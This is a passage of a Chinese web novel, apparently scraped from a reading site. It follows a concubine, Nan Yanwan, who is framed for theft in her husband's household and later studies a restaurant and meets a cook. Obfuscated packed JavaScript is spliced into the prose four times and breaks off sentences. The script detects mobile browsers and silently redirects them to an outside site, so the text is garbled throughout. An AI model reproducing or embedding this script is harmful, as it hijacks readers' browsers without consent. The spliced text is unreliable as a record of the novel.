边云筝嗤笑一声:“没得罪过我?你进府就是得罪我。”紧接着话音一转,“我打砸你院内的东西,自然是有原因的。” “带上来。” 话落,两个人便压着一个老妈妈走了进来。 那老妈妈刚进来时低垂着脑袋,双手背在身后。等被人甫一扔在南燕晚面前,她瞬间抬起头,脸上泪涕交横,一双脏兮兮的黑手就去扒她的衣裙。 “姨娘,姨娘救我!”老妈妈扯着南燕晚的衣裙,把南燕晚往自己身前拉,企图让她来挡住自己。 “姨娘,奴婢错了,您快跟三小姐解释一下。奴婢真不是故意去偷三小姐的东西的,都是您让奴婢去的,您救救奴婢。”老妈妈疯狂拉扯着南燕晚的衣裙,污黑的双手在干净的衣裙上按下一处处脏污。 “你干嘛?快放开小……姨娘。”端柳从惊吓中回过神来,赶紧帮着南燕晚去推老妈妈。 南燕晚也被吓了一大跳,一边推她一边说:“你是谁?我不认识你,你先放开我。” “不放,姨娘救我。”偏偏两人越推,老妈妈拉得越紧,“姨娘,你可怜可怜我,我家里还有个混账儿子,儿子下面还有个尚在襁褓的孙子。你不能吩咐我做了坏事就不要我呀,任凭我被管事带去发卖了。” “姨娘,你好狠的心!你要是不管我,我就闹到夫人那里去,让你也不得安宁,让你娘家都蒙羞。” “姨娘!你明明答应了奴婢的,办完事就给我银钱,还说要保我。都是假的!都是假的!” 老妈妈越说越起劲,越说拉衣裙的手就越用力。到最后,南燕晚和端柳两人都被骇住了,双双停手不敢动她。 那些话出口的瞬间,南燕晚大概就知道她被人做局了。南家的宅斗非常多,这种局不少见,但因着南燕晚是个女儿且姨娘并不得宠的缘故,这种局一般都落不到她身上。 第一次真实经历,说不慌张吓人是不可能的。 南燕晚内心都为自己抹了把汗,见松了手,那妇人不闹腾了,便由着她继续抓着自己。 “三小姐。”南燕晚看向边云筝,“妾刚刚出院逛了逛,还不知发生了何事,三小姐可否告知妾一二?” 边云筝从鼻子里“哼”了一声出来:“你倒是装得无辜不知罪。翠萝,去把东西拿出来。” 翠萝行礼答了“是”,然后从袖中翻出一支金镶玉的簪子,躬身低头递至边云筝手边。 边云筝接过,拿在手中看了一眼,然后将簪子抛给南燕晚:“那你瞧瞧,可否认得这东西?” 南燕晚急忙双手接下,不解其意:“不认识。” 边云筝嗤笑道:“不认识?不认识你会让她来偷我的东西。南燕晚,我可告诉你,这根簪子是祖母给我的及笄礼物。若你真敢打它的主意,我保证你在边家待不下去一天。” 南燕晚怒火中烧:“不认识就是不认识,三小姐休想给我扣下莫须有的罪名。” “南燕晚!你少给我装,你既死不承认,有本事就跟我去母亲跟前理论,我倒要看看你要装到几时?”边云筝说完也不再理会南燕晚,径直带着人往外走。 听见要去夫人面前,抓着南燕晚衣裙的老妈妈身形僵了僵,紧接着更是用力地抱住南燕晚双腿,任凭身旁的端柳死命拉扯都不松开。 南燕晚和端柳的脸色也不好看,刚刚的场景顶多只能算两人之间的小打小闹,就算真有什么,只要双方和解也就没啥大事。 如果闹到当家主母跟前去,那这件事的性质就变了…… 光是想想,南燕晚心里都没底和后怕。 对于这位边夫人,南燕晚唯一了解的便是去老夫人院宅的路上,管事妈妈说的:夫人是个心直口快的人,说话会刺耳些。 南燕晚抿抿唇,心下不禁有了思量。 * 悦心斋,边夫人坐在主位,闭着眼静静地听边云筝气愤地叙说事情。 等边云筝说完,李氏才缓缓睁开眼睛。 “南氏,筝儿说的可有半句虚言?”李氏看着落座在右手边的南燕晚问道。 当边云筝刚开口说事时,李氏就遣散了一众仆从,屋里只留下了四个人:主位的李氏,左手的边云筝,右手的南燕晚以及跪在这中间的老妈妈。 “有。”南燕晚向李氏跪下,“回禀夫人,三小姐所言,句句属实。但,这些并非燕晚所为。燕晚并不知晓此事,也无意去偷取三小姐的发簪,还请夫人明鉴。” “撒谎!”边云筝闹腾起来,“这老妈妈分明就是你院中的人,若无你的授意,她怎会来偷我的发簪,更何况,这簪子还是祖母着人打给我的及笄礼。” “夫人,燕晚昨日过门,今日才刚入住院中,连院中路径都尚不能完全熟识,更何况使唤里面的人了。且不说里面的人还能乖乖听妾的话,去偷三小姐的发簪。”南燕晚定定地看着边夫人,“就算会听,有哪个正常人回去做?” 边夫人缄默不语。 南燕晚继续补充“这事不仅害我自己,还害这位老妈妈,但凡有点头脑的人都不会做这等蠢事。” “那你的意思是我故意污蔑你?”边云筝腾地一下站起来。 “也未可知。”南燕晚顺着她话接下来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961830|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你说你那等事有点头脑的人不会做。那你想想,若是我故意污蔑你,我闲的慌吃撑啦?知道你刚进府不久什么都不知道,就上赶着安排你院中的人来偷我的发簪,自导自演出这么一出错漏百出的假戏。” 边云筝撇嘴道:“但凡有点头脑的人也断然做不出这种损人不利己,上赶着找事的麻烦。” 南燕晚偏头与边云筝对视,两人视线刚触,便是交锋。 这些模样都落在了李氏眼中,听着她们各持一词,她头都大了。公说公有理,婆说婆有理。真正的问题只出在一个地方。 李氏的目光扫至屋中跪着的老妈妈,她坐在高处,目光俯视着老妈妈,上位者的威严在这一刻不自觉显露,直看得老妈妈浑身微颤。 终于,李氏开了金口:“你来说。” 老妈妈如释重负,赶紧磕头拜礼在地上道:“奴婢与三小姐一个说词。” “一个说词?”李氏笑笑,“那你再说一遍,我年纪有些大了,记性不好使,三小姐说的有些忘了,你再说一遍,得和三小姐的一字不差。” “母亲。”边云筝急着喊了声。 李氏目光扫过去,边云筝瞬间噤声。 “一字不差才算是一个说词嘛。”李氏说完,看着南燕晚笑道,“对吧?南姨娘。” 南燕晚身后瞬间惊出一身冷汗。 那管事妈妈简直乱报情况,这李氏哪里像是心直口快,口无遮拦之人。分明就是心思缜密,深不可测之人。 对方还等着自己答复,南燕晚只能胡乱点了脑袋。 南燕晚尚且如此,更何况中间的老妈妈了,身后的衣衫都被冷汗打湿了,但她仍然告诉自己不要慌,因为那个人说了会保她的。 这样想着,老妈妈后背的冷汗都退了退,紧接着听她说道:“南姨娘给老夫人请安的时候看上了三小姐的发簪,进屋后嘴里就一直念叨惦记着。等奴婢去拜见南姨娘后,南姨娘还向奴婢问起那簪子的来头……” “你怎么说的?”李氏打断了老妈妈。 “奴婢说那是老夫人送给三小姐及笄礼,让二少爷绘的花样子,让人专门去寻了京城有名的工匠给打的。全京城甚至全天下只此一支。” 李氏听完看向南燕晚:“可有此事?” “并无此事。”南燕晚摇头。 “那这老妈妈你总得见过吧,毕竟你回院都那么长时间了,不会没有见她的空隙。”边云筝插话。 南燕晚沉默下来。 如果答没见过,那李氏和边云筝势必会盘问她回院这么久都去干什么了,而她背着府里人偷偷出府这件事是万万不能被任何人知晓的。 但倘若答见过,这老妈妈很明显不是站在她这边的人。若她一答应,指不定她已经设下圈套就等她往里钻呢。 南燕晚蹙着眉,眼睛溜过老妈妈刻意低头藏起来的算计,心下一沉。 这老妈妈现在就在给她下套,无论她答哪个,都有坑在等着她往下跳。 5. 第五章 “我并没有见过她。”南燕晚坚定地说,“我进府后,便被周家媳妇领进桃苑。她确实提到了晚点时间会有洒扫的老妈妈进院。但后来的时候,我和端柳有事出苑了。” “何事?”李氏揉了揉额角询问道。 “因为……”南燕晚神色扭捏起来,“燕晚刚入府中,对府中路径都不太熟悉。想着以后这府中就是燕晚的家,总要先做尽早的了解,以免日后在府迷了去路,岂不可笑?” 说完,南燕晚假意拿手绢扫了扫眼角,流露出伤心淌泪的假象。 李氏的眉头微微皱起,新婚妇如此言,的确让人反驳不了。 须臾,李氏转向老妈妈问:“你来说,到底怎么回事?若有半句虚言,明日定将你发卖出府。” 老妈妈慌忙行礼就要回话,却被李氏打断话头:“容许你想好了再回答,前面的话若有虚言便罢了,往后的话若有半句虚言,就别怪本夫人不讲情面。” 老妈妈背吓得身子一抖,脊背因为冷汗浸湿布料而微微泛痒,但她此刻也顾不得这么多了,低头敛下脸上的表情,脑子里飞速盘算着后果。 终于,在边云筝等得不耐烦想要开口说道时,老妈妈终于打断她开口了:“奴婢的回答和刚刚的说法……” 但还未及老妈妈说完后续的话,就抢先被李氏打断了。 李氏朝门外高呼道:“来人!将这个满口胡言的老东西给我打出去!” 话落,一众仆从赶忙进屋,一听见指令,迅速去架起老妈妈。而李氏的心腹一进屋便接收到李氏递来的眼色,赶紧随手拿起一块抹布便往老妈妈嘴里塞,直接堵住了老妈妈想要说的任何话。 “夫人!你干什么!我还没有……唔!唔!”老妈妈双眼瞪大,即使被人用力架着,四肢仍然用力翻腾,企图挣脱桎梏。 “带下去!二十大板伺候,打完去找人牙子发卖了。”李氏啜了一口冷茶,不急不慢地吩咐。 一众人纷纷应下,立马各司其职,将老妈妈拖下去行刑。 紧接着,院中便响起重重的闷哼声和板子落在□□上的砰砰声。 一个丫鬟用又尖又细的声音在旁边数数:“一”“二”“三”“四”…… 声音一齐灌入南燕晚耳中,都在告诉着她老妈妈在经历什么。 南燕晚紧紧握了握拳头,尖细的指甲差点扎破手掌。南燕晚的目光移向坐在高位的李氏,她正低头俯视着面前的茶盏。 盏里的热茶早已冷掉,李氏轻轻吹开浮在表面的茶叶和茶沫,看着下面的茶水仍然是浓重的绿色。片刻后,李氏将茶盏递给了身边的丫鬟,吩咐她:“去换盏热茶来。” 那丫鬟应“是”,接过茶盏行礼退下。 正待这时,李氏似有所觉,突然转头看向南燕晚,南燕晚回撤不及,两人的视线就这么直直地交汇了。 李氏面色不变,缓缓移开了视线。 南燕晚却莫名感到心悸,从这件事情的冲击里慢慢缓过来。 这就是上位者,或许李氏并不清楚其中的真相,也或许她清楚。但这对她来说并不重要。 边云筝是边家小姐,也是李氏的亲女儿,她的声誉自然得李氏的关照。 而南燕晚是南家小姐,若是闹出什么笑话来了,损坏的就是南家的脸面,南家的脸面没了,南边两家会交好吗?答案定然不会。其次,南燕晚是边镜的妾室,夫妻一体,她南燕晚遭了笑话,边镜也别想撇清。 所以,对李氏来说,这两头的人,一个都不能出事。 那怎么办?当然是全部推给这位老妈妈了,她既然身处这件事的重要位置,又无甚倚靠,自然是揽下祸事的不二人选。 刚刚李氏看似是让老妈妈选站队哪方,而实际上李氏根本就没想让她选。堵住嘴巴,抢先截下话头,那么剩下的话语权就都在李氏手上了。 没有人知道老妈妈最后要说的话是什么,到底是站在边云筝那头,还是改口站在南燕晚这头。 南燕晚眸光暗了暗,权宜之计,不过如此。 这位边夫人是真的不简单,如果把她和南家主母放一起,南燕晚也不知两人谁能赢。 不过现下还有的问题就是,李氏到底相信她没? 虽然处罚了老妈妈,双方面子和声誉上过得去。但实际上呢?如果李氏不信任她,李氏又会做什么呢? 南燕晚抿紧唇瓣,小心地用余光去扫李氏的神态。 半晌,外面的声音渐渐小了下去,紧接着,便有丫鬟进屋回话:“回禀夫人,二十大板已经打完,还待将人发卖。” 一个守在旁边的管家媳妇出头说话:“夫人,现在已经接近晚饭时间,人牙子怕是也回家休息了,不如待到明日一早再行发卖?” 李氏沉吟片刻,答道:“行,先把她关进柴房。” “是。” “你们俩个”李氏视线徘徊在南燕晚和边云筝左右,最终吩咐,“都不要胡思乱想了,此事皆系那糊涂老东西財令智昏,看上了筝儿头上都发簪后企图去偷,谁知被人捉住便想着污蔑给南氏。两头欺骗,让你们争执起了嫌隙。” “好了,你两个握手言和,这事就当翻篇了,然后都各自会各自的院落吧。至于其他人,谁若胆敢再提此事,方才屋外受刑的老妈妈便是你们的下场。” “母亲!”边云筝听完特别不服气。 无论真相如何,那南燕晚都有治下不严的错误 ,怎可能和她一起握手言和便轻轻放下此事? 她不服! 可当李氏目光扫过来时,边云筝也只是气呼呼地把头偏向一侧,眼里包着委屈和不服气。 到底是自己女儿和心肝宝贝,自己身上掉下来的肉。虽然李氏在处理其他事情时露出都是冷漠,但面对自己的闺女时,李氏心里还是不自觉软了一块,知晓女儿真正在计较什么,也只会妥协了下来。 “南氏,咱娘俩还要再说点体己话,你不如先行回院吧。这一天闹腾也累了,我便差人将你的饭食放在你院中。老夫人那边,我去说。” 南燕晚站起身,规规矩矩地行礼告退,然后带着端柳离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961831|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,待走至门口,南燕晚又突然回头喊:“夫人。” 李氏也有些意料之外,掩下讶异问:“还有何事?” “夫人,桃苑地小,屋子少,需要洒扫的地方并不多。不如就让端柳一人代劳,不必再添置洒扫妈妈。” “这不和规矩。”李氏驳回。 南燕晚也明白李氏的顾虑,若是外面人知晓李氏只留一个贴身丫鬟伺候她,指不定有人戳着她脊梁骨骂她亏待儿子妾室,失了德行。 南燕晚微笑着对上李氏:“夫人不必担心,悦心斋有多少双耳朵都听见妾的话了,就算被外人知晓了进行说道,也是说不通的。” 说完南燕晚便带着端柳离开了。 留下边云筝在李氏怀里撒娇诉说不公和委屈不忿。李氏搂着边云筝,右手轻轻拍在她的背上,轻柔着声音哄她。 * 回了院,端柳才终于敢大声喘气,抱着院口的柱子同南燕晚诉说:“小……姨娘,太吓人了。谁说边家后院和睦无争的?就刚刚那场景,与我们府中有过之而无不及呀。” 南燕晚神色有些黯然,拢了拢衣袖回她:“按理说确实和睦无争。边老爷洁身自好,除去边夫人外,也只纳了一房姬妾。听闻夫妻二人情感深厚,并未因那妾室生了嫌隙,想来那妾室也是翻不出水花的。” “再则,那妾室跟了边老爷多年,膝下只出了个小儿子,且一出生便抱在边夫人跟前抚养长大。自然那孩子也与边夫人亲厚。” “边家长媳是魏家人,边魏两家世代交好,自小便有走动,也是知根知底的人。” “今日闹成这样,不过是她们排斥我,嫌我进府手段不光彩,嫌我不自贞不自重。想要给我下马威罢了。” 端柳不忍:“小姐。” 南燕晚背手抹掉因情绪上头而不自觉滑落的眼泪,转头看着端柳道:“但是端柳,今日我就悟了。与其我们一直去在意他人的目光和看法,倒不如努力强固自身。就像今日边夫人的做法一样,只要有权利,我可以让所有人说不出我不想听见的任何话。” 端柳看着面前逐渐坚毅的南燕晚,微微愣神,但很快,她眼中也和南燕晚一样坚定:“是,小姐。” * 周家媳妇捧着一匣木盒,穿过雕楼画栋的走廊和小径,直直地进了一间宽大的屋子。 屋子里药香弥漫,不是传来里间人喘咳的声音。现在明明才九月金桂时节,但屋子里仍然同蒸笼一样,想要将人热晕。 “姨娘。”周家媳妇冲里间喊了一声。 里间的咳嗽略微顿了顿,随后问道:“怎么样?” “姨娘吩咐的事情奴婢已经做了,夫人最后两头没罚,都推给了做事的老妈妈。” 里间人冷嗤一声:“这点事果然难不倒她李白薇。” “姨娘,既然难不倒李氏,最后也对两头没增加损失,咱们何苦做呢?”周家媳妇蹙眉询问。 “咳咳,谁说没有好处了?玉不琢不成器,相信那新来的南姨娘肚子里已经有很多思量了吧。” 6. 第六章 翌日一早,南燕晚和端柳安排好了院中事务,再次循着昨日的路径从西门出了边府。 因着昨日那一闹,晚间时有丫鬟来告知她,夫人和老夫人那边都不用去请安了,让她安安静静呆在桃苑就行了,不要到处跑去生事。 但这个要求也随了南燕晚的意愿。她明白自己狗都嫌的身份,根本不想与南家人有啥来往,偏偏每日晨昏定省又逃不过。 这个决策简直是两全其美。不仅边家人高兴,南燕晚也高兴。 这样想着,南燕晚的脚步不由轻快起来,嘴角微微上扬。 “小姐,我们今日要去哪里呀?”端柳小心地掂量着袖子,兴奋地询问南燕晚。 正所谓一回生二回熟,第一次出来时端柳还有些紧张和害怕,而第二次出来,端柳却满是好奇和兴奋,眼里也都是对目的地的向往。 南燕晚瞅着她亮晶晶的眼睛,眼珠子一转,开始使坏地笑起来:“想知道吗?” 端柳忙不迭点头。 “你叫我一声姐姐,我就大发慈悲地告诉你。”南燕晚说话摇头晃脑的,像极了话本子里爱捉弄人的混小子。 端柳迟疑了一下,但迎上南燕晚鼓励的目光后,还是声音甜甜地喊她:“燕晚姐姐~” 这声姐姐可把南燕晚喊舒服了,响亮地应她:“诶。” “咱们等会儿去哪里玩呀~” “这个嘛……唔”南燕晚略微沉吟,然后凑到端柳耳边小声地说,“不告诉你。” 说完,南燕晚一溜烟就跑开了。 留下端柳气得在原地剁脚喊:“南燕晚!” 端柳年纪尚小,年芳十二,刚入府没多久就随南燕晚嫁入边府,礼仪还没有学透彻,尊卑也还没有完全刻进骨子里。上一秒南燕晚放任她喊自己姐姐,下一秒端柳就把南燕晚全名吼了出来。 这声吼不同寻常,把南燕晚吓了一大跳,但当她回头时,非但没有在端柳身上看见任何被惊吓的模样,反而看见她如猛兽般跑过来朝她扑。 南燕晚又被吓了一跳,脚下慌乱地跑起来,于是两个人就这么打打闹闹地在大街上跑起来。 但南燕晚毕竟是常年被人伺候的主儿,身子自然比不过经常做活的端柳,不一会儿便被端柳追上抓了起来。 端柳一边紧紧抓着南燕晚的衣裳,一边在她耳边吵:“小姐,你快告诉我,你说了要告诉我的……” 而南燕晚被她吵着也不恼,但也不坦白,就这么闭嘴装哑巴吊着她,着实气得端柳直哼哼。 但南燕晚却是笑着的。 真好,她们就像寻常姐妹一样,会使坏打闹。端柳会甜甜地叫她姐姐,生气了会叫南燕晚的全名。而南燕晚不会责罚端柳,甚至还在变本加厉地使坏。 天地虽辽阔,但幸福却在咫尺之间。 * 最后,在端柳不可思议的目光下,南燕晚带她走向了全京城最大最好的酒楼——醉香居。 “小姐,你是不是走错了,这可是醉香居啊。”端柳轻轻拉了拉南燕晚的衣角,小声提醒她。 “我知道呀。”南燕晚不以为意地回答。 “知道你还来?”端柳瞪大了眼睛,眼里满是责备的意思。 南燕晚忍不住去捏她的脸:“来带你吃顿好的,怎么还怪上我了?” 端柳吃疼叫里声,南燕晚松了手,端柳委屈巴巴地说:“我这不是心疼钱吗?这里是全京城最大最好的酒楼了,可也是最贵的酒楼呀。在里面吃点东西可不得花那么多那么多的银子。” 端柳想了想又补充道:“以前老爷也只敢在刚发俸禄时约上好友来这吃饭,可见此地花费极高。” 南燕晚直截了当问:“那你吃不吃?” “吃。”端柳想着之前的话,又不好意思地笑笑,“不吃白不吃,而且花的是小姐的钱,又不是我的钱。” 南燕晚气笑了,逗她:“回去从月银里扣你饭钱。” “不可以。”端柳急了,“那不吃了。” 南燕晚挤眉弄眼:“吃饭花我钱可以,花你钱就不行啦?” 端柳忙掰着手指头解释:“小姐花钱老是大手大脚的,如果我还不懂攒钱,把我月银也花了。等以后出啥事了,小姐需要银钱了,从哪里来银钱?” 南燕晚微愣,神色有些动容。 但下一刻,端柳又道:“再说了,这次吃饭本就是小姐强拉着来的,不花你钱花谁钱,反正断没有花我钱的道理。” 南燕晚:“……”刚动的容又给冻回去了。 南燕晚冷着脸,抓着端柳和她一起进入了醉香居。 “客官,你要来点什么?”两人刚进来,候在门口的店小二就迎上来主动询问。 “来三道招牌菜吧。”南燕晚回答道。 “好勒。”店小二脸笑得跟朵花似的,拿出纸笔记下后又问,“那客官是喜欢僻静一点的地方还是喜欢热闹一点点地方?” “僻静点的地方吧,我和小妹喜欢安静。” “得嘞,客官请随我来。”店小二引着两人到了一处空位置旁,“您们先请落座,这一带的地方保管安静。” 说完,店小二又端出碟花生来,“客官先垫垫肚子,菜马上就好。” “好。” 店小二走后,两人依言落座。 “小姐,你来酒楼是想做些事情吗?” “嗯。”南燕晚点头,向端柳坦白,“我想开一家酒楼。” 端柳眼睛瞪大:“为什么?不是说先开包子铺吗?” “开始确实是如此打算。”南燕晚捏了颗花生放进嘴里,尝到味道后点了点头,露出满意的表情,“端柳,我们做生意是想为自己留下一块退路对吧?” “是。”端柳点头。 “但是,包子铺并不适合我们。首先,它的盈利太少了,否则不会只有平头老百姓去开包子铺。再则,包子的制作工程太麻烦了,我们肯定要起一大早去准备包包子,但我们被府宅拘着,很难能够去采买和制作准备。” 南燕晚下结论:“所以,包子铺可能时间没办法开了。” “好吧。”端柳面露失望,但很快提出质疑,“酒楼岂不是更不适合?投入大,而且菜品更多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961832|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不,并不会。我们可以做酒楼幕后的东家,其他事情一概雇佣其他人来做。这样我们也不用累得天天府中外面两头跑。” 端柳点头同意:“确实有几分道理。但,这和来醉香居又什么关系?” 南燕晚觉得好笑,屈指轻轻敲了敲端柳的脑袋:“醉香居可是全京城最大最好的酒楼了,我们既然想开酒楼,就要向好的事例学习它的样子,从而转变为自己的东西。这样,我们才可能来的下去酒楼呀。” “也是哦。”端柳摸摸脑袋,是这么个道理。 “那小姐学到了什么?” “首先就是客官的感受。”南燕晚指了指饭桌间不停穿梭的店小二,“你瞧,他们笑起来是不是让你觉得很舒心很舒服?” “对。”端柳回忆起店小二的笑,跟朵花似的。都说伸手不打笑脸人,店小二一直笑容灿烂,确实让人觉得舒心,就算有什么不满,也不好向店小二发泄。 “其次,你再瞧,每次有新客人进来,是不是都至少有一名店小二在门口候着等候客人进门,然后主动给他们引路?” 端柳点头,她们进来时便经历过一次。甚至还会询问她们喜欢热闹还是僻静点的地方,而不是胡乱待她们落座一个位置。 “再说其三,你看这桌子上的花生米,真是哪哪都藏着贴心和细心呀。”南燕晚说着又吃了一粒。 “等菜本就是一个很煎熬且漫长的过程,但它递上一碟花生米来之后,客人光是吃花生米便觉得打发了时间。而且就算等的着急了,一想到这一碟免费花生米,谁的生气躁动都消了。再说了,这花生米的味道是真的不错,起码我非常喜欢。” 端柳也吃着花生米,赞同南燕晚的看法:“确实,小姐,你这些都说到点子上了。” “所以,你明白了什么?”南燕晚直直地看向端柳。 端柳不假思索:“我们要给客户加一碟好吃又免费的花生米。” 南燕晚:“……”满头黑线。 “骗你的。”端柳嗤嗤地笑,“我们应该多照顾客官的感受,给予他们最想要的,时刻将他们的感受放在第一位。” 南燕晚听完终于满意地点点头:“孺子可教也。” 端柳骄傲地翘起嘴角。 “但,小姐,为什么店小二不引着我们上二楼呀?二楼不是更僻静些吗?” 南燕晚想敲敲她这时好时坏的脑袋,无奈朝她摊手:“给钱。” 端柳连忙摆手拒绝,且害怕南燕晚一直提此事不放还补充:“实际上我觉得一楼这个地方比二楼安静多了。” 南燕晚叹了口气:“二楼都是雅间,只有有钱有势并且要提前预约好的人才能进去。” “你瞧。”南燕晚朝门口扬了扬下巴。 端柳看去,只见一个锦衣华服的男人进来后对店小二说了几句话,店小二脸上的笑不自觉多上了谄媚,然后引着男人上了二楼。 “咱们酒楼也要修二楼。”端柳转过来说,“我们的房间要占一半,到时候我也要这样大摇大摆地走进来。” 南燕晚看着她失笑:“好。” 7. 第七章 两人说笑了一会儿,店小二就已将菜品上齐了。 要不说美食要色香味俱全呢?两人光是看着面前秀色可餐的玉盘珍馐,便忍不住想大快朵颐。可从小的教养制止了她们的行为,只能慢条斯理地小口品尝。 “唔,小姐,好好吃啊。”端柳刚尝了一口白切鸡便忍不住赞叹。 “好吃那就多吃点。”南燕晚笑着又夹了一筷子白切鸡给她。 “小姐,你也快尝尝。”端柳也给南燕晚夹了一块白切鸡,“这里的白切鸡好好吃啊,与南府里的味道不太一样。” “好。”南燕晚笑着应道,吃完也发自内心称赞,“确实不太一样,这白切鸡多了一些其他味道,但又说不出是什么味道,总之就是很好吃。” “是的是的。”端柳吃得摇头晃脑的。 南燕晚觉得她可爱,忍不住点了点她脑门。 酒楼里并不安静,时不时都有客官说话的声音。本来两人还有些担心食不言的规矩,但见此情形,两人都放下,开开心心地边吃边聊。 两人胃口都不大,吃完饭菜后都饱了。南燕晚让端柳再掂了掂袖中的银子,确保银子足够多后便带人一起去结账。 柜台就在进门的位置,刚走过去,南燕晚便看见有人正和店小二进行争论。 “在下今日出门走得急,身上并未带什么银两,不知可否通融一二,让在下回趟家取了银子就赶紧送来。如若你们不放心,可以派一名店小二跟着在下,在下取了银子交由他便是。” 那位客官装束素静,只一身青白衣衫,腰间只一根青白腰带束身,其余并未挂什么玉佩香囊等装饰物。不像有钱有势人家的公子哥,应是个普通人家的孩子。 南燕晚等在他身后,安然地看起戏来。 “客官。”店小二面露难色,“我们小店早已明确规定,所有客官一概不能赊账。而且小店的小二也没有闲着没事做的,派一个跟着你回家,对小店做生意还是有很大影响的。” 见客官的眉头越来越紧,店小二立马又出主意:“不若客官拿些玉呀金呀之类的东西来做抵押?待客官回家取了银子来,我们再交还给您。” 方法是好方法,但客官的眉头不但没有松开,反而越皱越紧:“可是我今日出门也没带那些小玩意儿呀。” 听此一话,店小二的脸色却难看起来,他皮笑肉不笑地看着客官:“客官不仅银子拿不出来,身上连点值钱玩意儿也拿不出。莫非是想白嫖吃霸王餐?” 醉香居作为全京城最大的酒楼,价格自然是不低的。更何况京城本身就是个寸土寸金的地方,所以能来醉香居吃饭的客官都是非富即贵。 如今这位客官装束普通也就罢了,身上还拿不出银钱和有价值的金银玩意儿,实在是无法不让人往没钱白嫖的霸王客方面想。 此话一出,客官的脸色登时通红,伸出食指指着店小二,受了极大屈辱般怒道:“你怎可以这般说我!我也不过是出门太急忘带银钱罢了。是,我并非富贵人家,但并不代表我就低人一等,可以任由你们空口杜撰!” 店小二急道:“恕我直言,咱醉香居的价格不低,平常人家根本花销不起。若只是为了来这里享受吃饭,那着实是说不通了。” “普通人来此吃饭确实说不通,我除了家世普通之外,还是名厨子。早前听闻醉香居的菜品是何等鲜美,我一直都想来品鉴一二,好容易积攒好银钱。今日,在下真的只是忘带银钱罢了,决没有白嫖之意。” “两位不如先听奴家一言。”南燕晚打断店小二即将出口的话,惹得两人都转头来看她。 南燕晚穿着素静、轻纱遮面,见两人目光都投向她后,便福身做了个见面礼,客官和店小二也迅速回礼。 “姑娘有什么话说?”客官忙忙询问,他眼带恳求和希冀,期望这位突然出现的姑娘能为他解围。但待看清南燕晚和旁边端柳的装束后,客官眼里的光暗了几分,对方应当也是个普通人,如何能帮他? 可下一瞬,南燕晚却打破了他的想法。 只听柔软温和的声音道:“这位客官,奴家愿意帮你出这笔银钱,随后奴家同你一道回家取银钱便可。你看这方法可行吗?” 客官眼睛瞬间亮起,高兴地想要跳起来。但很快稳住身形,急匆匆地像店小二讨要纸笔:“可行可行,太感谢姑娘了。” 待拿到纸笔,客官又激动地转头朝南燕晚作揖谢礼。 店小二也是面露喜色,有人出头帮忙对他而言也是真真的大好事。他既不用头疼银钱如何追回,还不用继续得罪客官,也可谓是解了麻烦事。 待纸笔到了南燕晚手上后,店小二也将客官的账单捧了过来,请南燕晚过目。 客官只身一人来吃的饭,只简单点了两道招牌菜,加一起拢共是十两银子。 十两银子,足够普通一大家子人一月的开销了。 南燕晚唤来端柳,让她从袖中取来十两碎银付给店家。然后请店小二见证,南燕晚和客官签字画押,一式两份。 完事后,南燕晚取走了其中一份,她看着那位客官在上面落下的名字:张方藤。 是个不错的名字。 南燕晚将其收入袖中,然后又让端柳把她们的饭钱给付了。 一系列麻烦事完毕后,三人一同出了醉香居。 “多谢姑娘解围。”张方藤仍是感激不尽,“若姑娘信得过在下,便随在下一同回趟家,喝口热茶。若是姑娘有些忌讳,可否在此等候在下取了银钱来再离开?” 南燕晚直接回:“没有忌讳,奴家随公子一同去喝口热茶吧。正好奴家有些事情想要和公子聊聊。” 本来担心对方因着男女之防会对自己有所避讳,但见对方如此落落大方,张方藤心下不禁泛起好感。 转头一听对方有事商谈,张方藤不免发出疑问:“哦?可是在下有什么地方能够帮到姑娘?姑娘但说无妨,只要是在下能做的,自当全力相帮。” 端柳莞尔一笑,对张方藤做了个请的手势:“张公子不如先带路吧,咱们路上边走边聊。” “好的,这边请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961833|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” * 张方藤家宅在城东,与醉香居有好一段距离,不过和边府离得不远。 